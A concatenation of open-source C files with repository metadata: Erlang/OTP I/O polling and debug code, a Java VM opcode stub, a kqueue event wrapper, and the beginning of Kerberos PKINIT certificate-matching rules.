(j=0; j < ERTS_CHECK_IO_DRV_EV_STATE_LOCK_CNT; j++) { erts_mtx_init(&drv_ev_state.locks[j].lck, "drv_ev_state", make_small(j), ERTS_LOCK_FLAGS_PROPERTY_STATIC | ERTS_LOCK_FLAGS_CATEGORY_IO); } #ifdef ERTS_SYS_CONTINOUS_FD_NUMBERS drv_ev_state.max_fds = erts_poll_max_fds(); erts_atomic_init_nob(&drv_ev_state.len, 0); drv_ev_state.v = NULL; erts_mtx_init(&drv_ev_state.grow_lock, "drv_ev_state_grow", NIL, ERTS_LOCK_FLAGS_PROPERTY_STATIC | ERTS_LOCK_FLAGS_CATEGORY_IO); #else { SafeHashFunctions hf; hf.hash = &drv_ev_state_hash; hf.cmp = &drv_ev_state_cmp; hf.alloc = &drv_ev_state_alloc; hf.free = &drv_ev_state_free; drv_ev_state.num_prealloc = 0; drv_ev_state.prealloc_first = NULL; erts_spinlock_init(&drv_ev_state.prealloc_lock, "state_prealloc", NIL, ERTS_LOCK_FLAGS_PROPERTY_STATIC | ERTS_LOCK_FLAGS_CATEGORY_IO); safe_hash_init(ERTS_ALC_T_DRV_EV_STATE, &drv_ev_state.tab, "drv_ev_state_tab", ERTS_LOCK_FLAGS_CATEGORY_IO, DRV_EV_STATE_HTAB_SIZE, hf); } #endif } int erts_check_io_max_files(void) { #ifdef ERTS_SYS_CONTINOUS_FD_NUMBERS return drv_ev_state.max_fds; #else return erts_poll_max_fds(); #endif } Uint erts_check_io_size(void) { Uint res = 0; ErtsPollInfo pi; int i; #if ERTS_POLL_USE_FALLBACK erts_poll_info(get_fallback_pollset(), &pi); res += pi.memory_size; #endif #if ERTS_POLL_USE_SCHEDULER_POLLING erts_poll_info(get_scheduler_pollset(0), &pi); res += pi.memory_size; #endif for (i = 0; i < erts_no_pollsets; i++) { erts_poll_info(pollsetv[i], &pi); res += pi.memory_size; } #ifdef ERTS_SYS_CONTINOUS_FD_NUMBERS res += sizeof(ErtsDrvEventState) * erts_atomic_read_nob(&drv_ev_state.len); #else res += safe_hash_table_sz(&drv_ev_state.tab); { SafeHashInfo hi; safe_hash_get_info(&hi, &drv_ev_state.tab); res += hi.objs * sizeof(ErtsDrvEventState); } erts_spin_lock(&drv_ev_state.prealloc_lock); res += drv_ev_state.num_prealloc * sizeof(ErtsDrvEventState); erts_spin_unlock(&drv_ev_state.prealloc_lock); #endif return res; } Eterm erts_check_io_info(void *proc) { Process *p = (Process *) proc; Eterm tags[16], values[16], res, list = NIL; Uint sz, *szp, *hp, **hpp; ErtsPollInfo *piv; Sint i, j = 0, len; int no_pollsets = erts_no_pollsets + ERTS_POLL_USE_FALLBACK + ERTS_POLL_USE_SCHEDULER_POLLING; ERTS_CT_ASSERT(ERTS_POLL_USE_FALLBACK == 0 || ERTS_POLL_USE_FALLBACK == 1); ERTS_CT_ASSERT(ERTS_POLL_USE_SCHEDULER_POLLING == 0 || ERTS_POLL_USE_SCHEDULER_POLLING == 1); piv = erts_alloc(ERTS_ALC_T_TMP, sizeof(ErtsPollInfo) * no_pollsets); #if ERTS_POLL_USE_FALLBACK erts_poll_info_flbk(get_fallback_pollset(), &piv[0]); piv[0].poll_threads = 0; piv[0].active_fds = 0; piv++; #endif #if ERTS_POLL_USE_SCHEDULER_POLLING erts_poll_info(get_scheduler_pollset(0), &piv[0]); piv[0].poll_threads = 0; piv[0].active_fds = 0; piv++; #endif for (j = 0; j < erts_no_pollsets; j++) { erts_poll_info(pollsetv[j], &piv[j]); piv[j].active_fds = 0; piv[j].poll_threads = erts_no_poll_threads / erts_no_pollsets; if (erts_no_poll_threads % erts_no_pollsets > j) piv[j].poll_threads++; } #ifdef ERTS_SYS_CONTINOUS_FD_NUMBERS i = 0; erts_mtx_lock(&drv_ev_state.grow_lock); len = erts_atomic_read_nob(&drv_ev_state.len); for (i = 0; i < ERTS_CHECK_IO_DRV_EV_STATE_LOCK_CNT; i++) { erts_mtx_lock(&drv_ev_state.locks[i].lck); for (j = i; j < len; j+=ERTS_CHECK_IO_DRV_EV_STATE_LOCK_CNT) { ErtsDrvEventState *state = get_drv_ev_state(j); int pollsetid = get_pollset_id(j); ASSERT(fd_mtx(j) == &drv_ev_state.locks[i].lck); if (state->flags & ERTS_EV_FLAG_FALLBACK) pollsetid = -1; if (state->driver.select && (state->type == ERTS_EV_TYPE_DRV_SEL) && (is_iotask_active(&state->driver.select->iniotask) || is_iotask_active(&state->driver.select->outiotask))) piv[pollsetid].active_fds++; } erts_mtx_unlock(&drv_ev_state.locks[i].lck); } erts_mtx_unlock(&drv_ev_state.grow_lock); piv[0].memory_size += sizeof(ErtsDrvEventState) * erts_atomic_read_nob(&drv_ev_state.len); #else piv[0].memory_size += safe_hash_table_sz(&drv_ev_state.tab); { SafeHashInfo hi; safe_hash_get_info(&hi, &drv_ev_state.tab); piv[0].memory_size += hi.objs * sizeof(ErtsDrvEventState); } erts_spin_lock(&drv_ev_state.prealloc_lock); piv[0].memory_size += drv_ev_state.num_prealloc * sizeof(ErtsDrvEventState); erts_spin_unlock(&drv_ev_state.prealloc_lock); #endif hpp = NULL; szp = &sz; sz = 0; piv -= ERTS_POLL_USE_FALLBACK; piv -= ERTS_POLL_USE_SCHEDULER_POLLING; bld_it: for (j = no_pollsets-1; j >= 0; j--) { i = 0; tags[i] = erts_bld_atom(hpp, szp, "name"); values[i++] = erts_bld_atom(hpp, szp, "erts_poll"); tags[i] = erts_bld_atom(hpp, szp, "primary"); values[i++] = erts_bld_atom(hpp, szp, piv[j].primary); tags[i] = erts_bld_atom(hpp, szp, "kernel_poll"); values[i++] = erts_bld_atom(hpp, szp, piv[j].kernel_poll ? piv[j].kernel_poll : "false"); tags[i] = erts_bld_atom(hpp, szp, "memory_size"); values[i++] = erts_bld_uint(hpp, szp, piv[j].memory_size); tags[i] = erts_bld_atom(hpp, szp, "total_poll_set_size"); values[i++] = erts_bld_uint(hpp, szp, piv[j].poll_set_size); tags[i] = erts_bld_atom(hpp, szp, "lazy_updates"); values[i++] = piv[j].lazy_updates ? am_true : am_false; tags[i] = erts_bld_atom(hpp, szp, "pending_updates"); values[i++] = erts_bld_uint(hpp, szp, piv[j].pending_updates); tags[i] = erts_bld_atom(hpp, szp, "batch_updates"); values[i++] = piv[j].batch_updates ? am_true : am_false; tags[i] = erts_bld_atom(hpp, szp, "concurrent_updates"); values[i++] = piv[j].concurrent_updates ? am_true : am_false; tags[i] = erts_bld_atom(hpp, szp, "fallback"); values[i++] = piv[j].is_fallback ? am_true : am_false; tags[i] = erts_bld_atom(hpp, szp, "max_fds"); values[i++] = erts_bld_uint(hpp, szp, piv[j].max_fds); tags[i] = erts_bld_atom(hpp, szp, "active_fds"); values[i++] = erts_bld_uint(hpp, szp, piv[j].active_fds); tags[i] = erts_bld_atom(hpp, szp, "poll_threads"); values[i++] = erts_bld_uint(hpp, szp, piv[j].poll_threads); res = erts_bld_2tup_list(hpp, szp, i, tags, values); if (!hpp) { *szp += 2; } else { list = CONS(*hpp, res, list); *hpp += 2; } } if (!hpp) { hp = HAlloc(p, sz); hpp = &hp; szp = NULL; goto bld_it; } erts_free(ERTS_ALC_T_TMP, piv); return list; } static ERTS_INLINE ErtsPollEvents print_events(erts_dsprintf_buf_t *dsbufp, ErtsPollEvents ev) { int first = 1; if(ev == ERTS_POLL_EV_NONE) { erts_dsprintf(dsbufp, "N/A"); return 0; } if(ev & ERTS_POLL_EV_IN) { ev &= ~ERTS_POLL_EV_IN; erts_dsprintf(dsbufp, "%s%s", first ? "" : "|", "IN"); first = 0; } if(ev & ERTS_POLL_EV_OUT) { ev &= ~ERTS_POLL_EV_OUT; erts_dsprintf(dsbufp, "%s%s", first ? "" : "|", "OUT"); first = 0; } /* The following should not appear... */ if(ev & ERTS_POLL_EV_NVAL) { erts_dsprintf(dsbufp, "%s%s", first ? "" : "|", "NVAL"); first = 0; } if(ev & ERTS_POLL_EV_ERR) { erts_dsprintf(dsbufp, "%s%s", first ? "" : "|", "ERR"); first = 0; } if (ev) erts_dsprintf(dsbufp, "%s0x%b32x", first ? "" : "|", (Uint32) ev); return ev; } static ERTS_INLINE void print_flags(erts_dsprintf_buf_t *dsbufp, EventStateFlags f) { erts_dsprintf(dsbufp, "%s", flag2str(f)); } #ifdef DEBUG_PRINT_MODE static ERTS_INLINE char * drvmode2str(int mode) { switch (mode) { case ERL_DRV_READ|ERL_DRV_USE: return "READ|USE"; case ERL_DRV_WRITE|ERL_DRV_USE: return "WRITE|USE"; case ERL_DRV_READ|ERL_DRV_WRITE|ERL_DRV_USE: return "READ|WRITE|USE"; case ERL_DRV_USE: return "USE"; case ERL_DRV_READ|ERL_DRV_USE_NO_CALLBACK: return "READ|USE_NO_CB"; case ERL_DRV_WRITE|ERL_DRV_USE_NO_CALLBACK: return "WRITE|USE_NO_CB"; case ERL_DRV_READ|ERL_DRV_WRITE|ERL_DRV_USE_NO_CALLBACK: return "READ|WRITE|USE_NO_CB"; case ERL_DRV_USE_NO_CALLBACK: return "USE_NO_CB"; case ERL_DRV_READ: return "READ"; case ERL_DRV_WRITE: return "WRITE"; case ERL_DRV_READ|ERL_DRV_WRITE: return "READ|WRITE"; default: return "UNKNOWN"; } } static ERTS_INLINE char * nifmode2str(enum ErlNifSelectFlags mode) { if (mode & ERL_NIF_SELECT_STOP) return "STOP"; switch (mode) { case ERL_NIF_SELECT_READ: return "READ"; case ERL_NIF_SELECT_WRITE: return "WRITE"; case ERL_NIF_SELECT_READ|ERL_NIF_SELECT_WRITE: return "READ|WRITE"; case ERL_NIF_SELECT_CANCEL|ERL_NIF_SELECT_READ: return "CANCEL|READ"; case ERL_NIF_SELECT_CANCEL|ERL_NIF_SELECT_WRITE: return "CANCEL|WRITE"; case ERL_NIF_SELECT_CANCEL|ERL_NIF_SELECT_READ|ERL_NIF_SELECT_WRITE: return "CANCEL|READ|WRITE"; default: return "UNKNOWN"; } } #endif typedef struct { int used_fds; int num_errors; int no_driver_select_structs; int no_enif_select_structs; #ifdef ERTS_SYS_CONTINOUS_FD_NUMBERS int internal_fds; ErtsPollEvents *epep; #endif } IterDebugCounters; static int erts_debug_print_checkio_state(erts_dsprintf_buf_t *dsbufp, ErtsDrvEventState *state, ErtsPollEvents ep_events, int internal) { #if defined(HAVE_FSTAT) && !defined(NO_FSTAT_ON_SYS_FD_TYPE) struct stat stat_buf; #endif ErtsSysFdType fd = state->fd; ErtsPollEvents cio_events = state->events; int err = 0; #ifdef ERTS_SYS_CONTINOUS_FD_NUMBERS ErtsPollEvents aio_events = state->active_events; #endif erts_dsprintf(dsbufp, "pollset=%d fd=%bpd ", state->flags & ERTS_EV_FLAG_FALLBACK ? -1 : get_pollset_id(fd), (SWord) fd); #if defined(HAVE_FSTAT) && !defined(NO_FSTAT_ON_SYS_FD_TYPE) if (fstat((int) fd, &stat_buf) < 0) erts_dsprintf(dsbufp, "type=unknown "); else { erts_dsprintf(dsbufp, "type="); #ifdef S_ISSOCK if (S_ISSOCK(stat_buf.st_mode)) erts_dsprintf(dsbufp, "sock "); else #endif #ifdef S_ISFIFO if (S_ISFIFO(stat_buf.st_mode)) erts_dsprintf(dsbufp, "fifo "); else #endif #ifdef S_ISCHR if (S_ISCHR(stat_buf.st_mode)) erts_dsprintf(dsbufp, "chr "); else #endif #ifdef S_ISDIR if (S_ISDIR(stat_buf.st_mode)) erts_dsprintf(dsbufp, "dir "); else #endif #ifdef S_ISBLK if (S_ISBLK(stat_buf.st_mode)) erts_dsprintf(dsbufp, "blk "); else #endif #ifdef S_ISREG if (S_ISREG(stat_buf.st_mode)) erts_dsprintf(dsbufp, "reg "); else #endif #ifdef S_ISLNK if (S_ISLNK(stat_buf.st_mode)) erts_dsprintf(dsbufp, "lnk "); else #endif #ifdef S_ISDOOR if (S_ISDOOR(stat_buf.st_mode)) erts_dsprintf(dsbufp, "door "); else #endif #ifdef S_ISWHT if (S_ISWHT(stat_buf.st_mode)) erts_dsprintf(dsbufp, "wht "); else #endif #ifdef S_ISXATTR if (S_ISXATTR(stat_buf.st_mode)) erts_dsprintf(dsbufp, "xattr "); else #endif erts_dsprintf(dsbufp, "unknown "); } #else erts_dsprintf(dsbufp, "type=unknown "); #endif if (state->type == ERTS_EV_TYPE_DRV_SEL) { erts_dsprintf(dsbufp, "driver_select "); #ifdef ERTS_SYS_CONTINOUS_FD_NUMBERS if (internal) { erts_dsprintf(dsbufp, "internal "); err = 1; } if (aio_events == cio_events) { if (cio_events == ep_events) { erts_dsprintf(dsbufp, "ev="); if (print_events(dsbufp, cio_events) != 0) err = 1; } else { ErtsPollEvents ev = cio_events; if (ev != ep_events && ep_events != ERTS_POLL_EV_NONE) err = 1; erts_dsprintf(dsbufp, "cio_ev="); print_events(dsbufp, cio_events); erts_dsprintf(dsbufp, " ep_ev="); print_events(dsbufp, ep_events); } } else { erts_dsprintf(dsbufp, "cio_ev="); print_events(dsbufp, cio_events); erts_dsprintf(dsbufp, " aio_ev="); print_events(dsbufp, aio_events); if ((aio_events != ep_events && ep_events != ERTS_POLL_EV_NONE) || (aio_events != 0 && ep_events == ERTS_POLL_EV_NONE)) { erts_dsprintf(dsbufp, " ep_ev="); print_events(dsbufp, ep_events); err = 1; } } #else if (print_events(dsbufp, cio_events) != 0) err = 1; #endif erts_dsprintf(dsbufp, " "); if (cio_events & ERTS_POLL_EV_IN) { Eterm id = state->driver.select->inport; if (is_nil(id)) { erts_dsprintf(dsbufp, "inport=none inname=none indrv=none "); err = 1; } else { ErtsPortNames *pnp = erts_get_port_names(id, ERTS_INVALID_ERL_DRV_PORT); erts_dsprintf(dsbufp, " inport=%T inname=%s indrv=%s ", id, pnp->name ? pnp->name : "unknown", (pnp->driver_name ? pnp->driver_name : "unknown")); erts_free_port_names(pnp); } } if (cio_events & ERTS_POLL_EV_OUT) { Eterm id = state->driver.select->outport; if (is_nil(id)) { erts_dsprintf(dsbufp, "outport=none outname=none outdrv=none "); err = 1; } else { ErtsPortNames *pnp = erts_get_port_names(id, ERTS_INVALID_ERL_DRV_PORT); erts_dsprintf(dsbufp, " outport=%T outname=%s outdrv=%s ", id, pnp->name ? pnp->name : "unknown", (pnp->driver_name ? pnp->driver_name : "unknown")); erts_free_port_names(pnp); } } } else if (state->type == ERTS_EV_TYPE_NIF) { ErtsResource* r; erts_dsprintf(dsbufp, "enif_select "); #ifdef ERTS_SYS_CONTINOUS_FD_NUMBERS if (internal) { erts_dsprintf(dsbufp, "internal "); err = 1; } if (cio_events == ep_events) { erts_dsprintf(dsbufp, "ev="); if (print_events(dsbufp, cio_events) != 0) err = 1; } else { err = 1; erts_dsprintf(dsbufp, "cio_ev="); print_events(dsbufp, cio_events); erts_dsprintf(dsbufp, " ep_ev="); print_events(dsbufp, ep_events); } #else if (print_events(dsbufp, cio_events) != 0) err = 1; #endif erts_dsprintf(dsbufp, " inpid=%T", state->driver.nif->in.pid); erts_dsprintf(dsbufp, " outpid=%T", state->driver.nif->out.pid); r = state->driver.stop.resource; erts_dsprintf(dsbufp, " resource=%p(%T:%T)", r, r->type->module, r->type->name); } #ifdef ERTS_SYS_CONTINOUS_FD_NUMBERS else if (internal) { erts_dsprintf(dsbufp, "internal "); if (cio_events) { err = 1; erts_dsprintf(dsbufp, "cio_ev="); print_events(dsbufp, cio_events); } if (ep_events) { erts_dsprintf(dsbufp, "ep_ev="); print_events(dsbufp, ep_events); } } #endif else { err = 1; erts_dsprintf(dsbufp, "control_type=%d ", (int)state->type); #ifdef ERTS_SYS_CONTINOUS_FD_NUMBERS if (cio_events == ep_events) { erts_dsprintf(dsbufp, "ev="); print_events(dsbufp, cio_events); } else { erts_dsprintf(dsbufp, "cio_ev="); print_events(dsbufp, cio_events); erts_dsprintf(dsbufp, " ep_ev="); print_events(dsbufp, ep_events); } #else erts_dsprintf(dsbufp, "ev=0x%b32x", (Uint32) cio_events); #endif } erts_dsprintf(dsbufp, " flags="); print_flags(dsbufp, state->flags); if (err) { erts_dsprintf(dsbufp, " ERROR"); } erts_dsprintf(dsbufp, "\r\n"); return err; } static void doit_erts_check_io_debug(void *vstate, void *vcounters, erts_dsprintf_buf_t *dsbufp) { ErtsDrvEventState *state = (ErtsDrvEventState *) vstate; IterDebugCounters *counters = (IterDebugCounters *) vcounters; int internal = 0; #ifdef ERTS_SYS_CONTINOUS_FD_NUMBERS ErtsSysFdType fd = state->fd; ErtsPollEvents ep_events = counters->epep[(int) fd]; #else ErtsPollEvents ep_events = ERTS_POLL_EV_NONE; #endif if (state->driver.select) { counters->no_driver_select_structs++; ASSERT(state->events || (ep_events != 0 && ep_events != ERTS_POLL_EV_NONE)); } if (state->driver.nif) { counters->no_enif_select_structs++; ASSERT(state->events || (ep_events != 0 && ep_events != ERTS_POLL_EV_NONE)); } #ifdef ERTS_SYS_CONTINOUS_FD_NUMBERS if (state->events || (ep_events != 0 && ep_events != ERTS_POLL_EV_NONE)) { if (ep_events & ERTS_POLL_EV_NVAL) { ep_events &= ~ERTS_POLL_EV_NVAL; internal = 1; counters->internal_fds++; } else counters->used_fds++; #else if (state->events) { counters->used_fds++; #endif if (erts_debug_print_checkio_state(dsbufp, state, ep_events, internal)) { counters->num_errors++; } } } /* ciodpi can be NULL when called from etp-commands */ int erts_check_io_debug(ErtsCheckIoDebugInfo *ciodip) { erts_dsprintf_buf_t *dsbufp = erts_create_logger_dsbuf(); #ifdef ERTS_SYS_CONTINOUS_FD_NUMBERS int fd, len, i; #endif IterDebugCounters counters = {0}; #ifdef ERTS_SYS_CONTINOUS_FD_NUMBERS ErtsDrvEventState null_des; null_des.driver.select = NULL; null_des.driver.nif = NULL; null_des.driver.stop.drv_ptr = NULL; null_des.events = 0; null_des.type = ERTS_EV_TYPE_NONE; null_des.flags = 0; counters.epep = erts_alloc(ERTS_ALC_T_TMP, sizeof(ErtsPollEvents)*drv_ev_state.max_fds); #endif #if defined(ERTS_ENABLE_LOCK_CHECK) erts_lc_check_exact(NULL, 0); /* No locks should be locked */ #endif if (ciodip) erts_thr_progress_block(); /* stop the world to avoid messy locking */ #ifdef ERTS_SYS_CONTINOUS_FD_NUMBERS len = erts_atomic_read_nob(&drv_ev_state.len); #if ERTS_POLL_USE_FALLBACK erts_dsprintf(dsbufp, "--- fds in flbk pollset ---------------------------------\n"); erts_poll_get_selected_events_flbk(get_fallback_pollset(), counters.epep, drv_ev_state.max_fds); for (fd = 0; fd < len; fd++) { if (drv_ev_state.v[fd].flags & ERTS_EV_FLAG_FALLBACK) doit_erts_check_io_debug(&drv_ev_state.v[fd], &counters, dsbufp); } #endif #if ERTS_POLL_USE_SCHEDULER_POLLING erts_dsprintf(dsbufp, "--- fds in scheduler pollset ----------------------------\n"); erts_poll_get_selected_events(get_scheduler_pollset(0), counters.epep, drv_ev_state.max_fds); for (fd = 0; fd < len; fd++) { if (drv_ev_state.v[fd].flags & ERTS_EV_FLAG_SCHEDULER) { if (drv_ev_state.v[fd].events && drv_ev_state.v[fd].events != ERTS_POLL_EV_NONE) counters.epep[fd] &= ~ERTS_POLL_EV_OUT; doit_erts_check_io_debug(&drv_ev_state.v[fd], &counters, dsbufp); } } #endif erts_dsprintf(dsbufp, "--- fds in pollset --------------------------------------\n"); for (i = 0; i < erts_no_pollsets; i++) { erts_poll_get_selected_events(pollsetv[i], counters.epep, drv_ev_state.max_fds); for (fd = 0; fd < len; fd++) { if (!(drv_ev_state.v[fd].flags & ERTS_EV_FLAG_FALLBACK) && get_pollset_id(fd) == i) { if (counters.epep[fd] != ERTS_POLL_EV_NONE && drv_ev_state.v[fd].flags & ERTS_EV_FLAG_IN_SCHEDULER) { /* We add the in flag if it is enabled in the scheduler pollset and get_selected_events works on the platform */ counters.epep[fd] |= ERTS_POLL_EV_IN; } doit_erts_check_io_debug(&drv_ev_state.v[fd], &counters, dsbufp); } } } for (fd = len ; fd < drv_ev_state.max_fds; fd++) { null_des.fd = fd; doit_erts_check_io_debug(&null_des, &counters, dsbufp); } #else safe_hash_for_each(&drv_ev_state.tab, &doit_erts_check_io_debug, &counters, dsbufp); #endif if (ciodip) erts_thr_progress_unblock(); if (ciodip) { ciodip->no_used_fds = counters.used_fds; ciodip->no_driver_select_structs = counters.no_driver_select_structs; ciodip->no_enif_select_structs = counters.no_enif_select_structs; } erts_dsprintf(dsbufp, "\n"); erts_dsprintf(dsbufp, "used fds=%d\n", counters.used_fds); erts_dsprintf(dsbufp, "Number of driver_select() structures=%d\n", counters.no_driver_select_structs); erts_dsprintf(dsbufp, "Number of enif_select() structures=%d\n", counters.no_enif_select_structs); #ifdef ERTS_SYS_CONTINOUS_FD_NUMBERS erts_dsprintf(dsbufp, "internal fds=%d\n", counters.internal_fds); #endif erts_dsprintf(dsbufp, "---------------------------------------------------------\n"); erts_send_error_to_logger_nogl(dsbufp); #ifdef ERTS_SYS_CONTINOUS_FD_NUMBERS erts_free(ERTS_ALC_T_TMP, (void *) counters.epep); #endif return counters.num_errors; } #ifdef ERTS_ENABLE_LOCK_COUNT void erts_lcnt_update_cio_locks(int enable) { int i; #ifndef ERTS_SYS_CONTINOUS_FD_NUMBERS erts_lcnt_enable_hash_lock_count(&drv_ev_state.tab, ERTS_LOCK_FLAGS_CATEGORY_IO, enable); #else (void)enable; #endif #if ERTS_POLL_USE_FALLBACK erts_lcnt_enable_pollset_lock_count_flbk(get_fallback_pollset(), enable); #endif for (i = 0; i < erts_no_pollsets; i++) erts_lcnt_enable_pollset_lock_count(pollsetv[i], enable); } #endif /* ERTS_ENABLE_LOCK_COUNT */
lrascao/otp
erts/emulator/sys/common/erl_check_io.c
C
apache-2.0
95,170
/* * Bean Java VM * Copyright (C) 2005-2015 Christian Lins <christian@lins.me> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <debug.h> #include <vm.h> void do_IINC_WIDE(Thread *thread, int index, int value) { /* Increment variable in local variable array */ } /* * Increments the variable specified by the first operand (index) * by the int value of the seconds operand. */ void do_IINC(Thread *thread) { dbgmsg("IINC"); int index, value; index = Get1ByteOperand(current_frame(thread)); /* Increments IP by one */ value = Get1ByteOperand(current_frame(thread)); /* Increments IP by one */ do_IINC_WIDE(thread, index, value); }
cli/bean
src/exec/inc.c
C
apache-2.0
1,204
/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ #include <sys/types.h> #include <sys/event.h> #include <sys/time.h> #include <string.h> #include <unistd.h> #include <ckit/event.h> #include <ckit/debug.h> #include <ckit/time.h> int event_open(void) { return kqueue(); } void event_close(int efd) { close(efd); } static unsigned short kevent_flags(enum event_ctl ctl, struct event *ev) { unsigned short flags = 0; switch (ctl) { case EVENT_CTL_ADD: case EVENT_CTL_MOD: flags |= EV_ADD; break; case EVENT_CTL_DEL: flags |= EV_DELETE; break; } if (ev->events & EVENT_ONESHOT) flags |= EV_ONESHOT; return flags; } static void kevent_to_event(const struct kevent *kev, struct event *ev) { memset(ev, 0, sizeof(*ev)); if (kev->filter == EVFILT_READ) { //LOG_DBG("EVFILT_READ is set fd=%d\n", (int)kev->ident); ev->events |= EVENT_IN; } if (kev->filter == EVFILT_WRITE) { //LOG_DBG("EVFILT_WRITE is set fd=%d\n", (int)kev->ident); ev->events |= EVENT_OUT; } if (kev->flags & EV_EOF) { //LOG_DBG("EV_EOF set on fd=%d\n", (int)kev->ident); ev->events |= EVENT_RDHUP; } ev->data.fd = (int)kev->ident; ev->data.ptr = kev->udata; } int event_ctl(int efd, enum event_ctl ctl, int fd, struct event *ev) { struct kevent kev[2]; unsigned i = 0; if (ev->events & EVENT_IN) { //LOG_ERR("EVFILT_READ fd=%d\n", fd); EV_SET(&kev[i++], fd, EVFILT_READ, kevent_flags(ctl, ev), 0, 0, ev->data.ptr); } if (ev->events & EVENT_OUT) { //LOG_ERR("EVFILT_WRITE fd=%d\n", fd); EV_SET(&kev[i++], fd, EVFILT_WRITE, kevent_flags(ctl, ev), 0, 0, ev->data.ptr); } return kevent(efd, kev, i, NULL, 0, NULL); } int event_wait(int efd, struct event *events, int maxevents, int timeout) { struct kevent kevents[maxevents]; struct timespec ts = { 0, 0 }; struct timespec *ts_ptr = &ts; int ret; timespec_add_nsec(&ts, timeout * 1000000L); memset(kevents, 0, sizeof(kevents)); if (timeout == -1) ts_ptr = NULL; ret = kevent(efd, NULL, 0, kevents, maxevents, ts_ptr); if (ret == -1) { LOG_ERR("kevent: %s\n", strerror(errno)); } else if (ret > 0) { int i; /* Fill in events */ for (i = 0; i < ret; i++) { /* Check for error. The kevent() call may return either -1 * on error or an error event in the eventlist in case * there is room */ if (kevents[i].flags & EV_ERROR) { errno = kevents[i].data; /* NOTE/WARNING: What happens to other events returned * that aren't errors when we return -1 here? This is * not entirely clear, but since they won't be * processed by the caller of this function (as the * return value is -1) the events should still be * pending and returned in the next call to this * function. This might, however, not be true for edge * triggered events. */ return -1; } kevent_to_event(&kevents[i], &events[i]); } } return ret; }
erimatnor/libckit
src/event_kqueue.c
C
apache-2.0
3,368
/* -*- mode: c; c-basic-offset: 4; indent-tabs-mode: nil -*- */ /* * COPYRIGHT (C) 2007 * THE REGENTS OF THE UNIVERSITY OF MICHIGAN * ALL RIGHTS RESERVED * * Permission is granted to use, copy, create derivative works * and redistribute this software and such derivative works * for any purpose, so long as the name of The University of * Michigan is not used in any advertising or publicity * pertaining to the use of distribution of this software * without specific, written prior authorization. If the * above copyright notice or any other identification of the * University of Michigan is included in any copy of any * portion of this software, then the disclaimer below must * also be included. * * THIS SOFTWARE IS PROVIDED AS IS, WITHOUT REPRESENTATION * FROM THE UNIVERSITY OF MICHIGAN AS TO ITS FITNESS FOR ANY * PURPOSE, AND WITHOUT WARRANTY BY THE UNIVERSITY OF * MICHIGAN OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING * WITHOUT LIMITATION THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE * REGENTS OF THE UNIVERSITY OF MICHIGAN SHALL NOT BE LIABLE * FOR ANY DAMAGES, INCLUDING SPECIAL, INDIRECT, INCIDENTAL, OR * CONSEQUENTIAL DAMAGES, WITH RESPECT TO ANY CLAIM ARISING * OUT OF OR IN CONNECTION WITH THE USE OF THE SOFTWARE, EVEN * IF IT HAS BEEN OR IS HEREAFTER ADVISED OF THE POSSIBILITY OF * SUCH DAMAGES. */ #include <errno.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <regex.h> #include "pkinit.h" typedef struct _pkinit_cert_info pkinit_cert_info; typedef enum { kw_undefined = 0, kw_subject = 1, kw_issuer = 2, kw_san = 3, kw_eku = 4, kw_ku = 5 } keyword_type; static char * keyword2string(unsigned int kw) { switch(kw) { case kw_undefined: return "NONE"; break; case kw_subject: return "SUBJECT"; break; case kw_issuer: return "ISSUER"; break; case kw_san: return "SAN"; break; case kw_eku: return "EKU"; break; case kw_ku: return "KU"; break; default: return "INVALID"; break; } } typedef enum { relation_none = 0, relation_and = 1, relation_or = 2 } relation_type; static char * relation2string(unsigned int rel) { switch(rel) { case relation_none: return "NONE"; break; case relation_and: return "AND"; break; case relation_or: return "OR"; break; default: return "INVALID"; break; } } typedef enum { kwvaltype_undefined = 0, kwvaltype_regexp = 1, kwvaltype_list = 2 } kw_value_type; static char * kwval2string(unsigned int kwval) { switch(kwval) { case kwvaltype_undefined: return "NONE"; break; case kwvaltype_regexp: return "REGEXP"; break; case kwvaltype_list: return "LIST"; break; default: return "INVALID"; break; } } struct keyword_desc { const char *value; size_t length; keyword_type kwtype; kw_value_type kwvaltype; } matching_keywords[] = { { "<KU>", 4, kw_ku, kwvaltype_list }, { "<EKU>", 5, kw_eku, kwvaltype_list }, { "<SAN>", 5, kw_san, kwvaltype_regexp }, { "<ISSUER>", 8, kw_issuer, kwvaltype_regexp }, { "<SUBJECT>", 9, kw_subject, kwvaltype_regexp }, { NULL, 0, kw_undefined, kwvaltype_undefined}, }; struct ku_desc { const char *value; size_t length; unsigned int bitval; }; struct ku_desc ku_keywords[] = { { "digitalSignature", 16, PKINIT_KU_DIGITALSIGNATURE }, { "keyEncipherment", 15, PKINIT_KU_KEYENCIPHERMENT }, { NULL, 0, 0 }, }; struct ku_desc eku_keywords[] = { { "pkinit", 6, PKINIT_EKU_PKINIT }, { "msScLogin", 9, PKINIT_EKU_MSSCLOGIN }, { "clientAuth", 10, PKINIT_EKU_CLIENTAUTH }, { "emailProtection", 15, PKINIT_EKU_EMAILPROTECTION }, { NULL, 0, 0 }, }; /* Rule component */ typedef struct _rule_component { struct _rule_component *next; keyword_type kw_type; kw_value_type kwval_type; regex_t regexp; /* Compiled regular expression */ char *regsrc; /* The regular expression source (for debugging) */ unsigned int ku_bits; unsigned int eku_bits; } rule_component; /* Set rule components */ typedef struct _rule_set { relation_type relation; int num_crs; rule_component *crs; } rule_set; static krb5_error_code free_rule_component(krb5_context context, rule_component *rc) { if (rc == NULL) return 0; if (rc->kwval_type == kwvaltype_regexp) { free(rc->regsrc); regfree(&rc->regexp); } free(rc); return 0; } static krb5_error_code free_rule_set(krb5_context context, rule_set *rs) { rule_component *rc, *trc; if (rs == NULL) return 0; for (rc = rs->crs; rc != NULL;) { trc = rc->next; free_rule_component(context, rc); rc = trc; } free(rs); return 0; } static krb5_error_code parse_list_value(krb5_context context, keyword_type type, char *value, rule_component *rc) { krb5_error_code retval; char *comma; struct ku_desc *ku = NULL; int found; size_t len; unsigned int *bitptr; if (value == NULL || value[0] 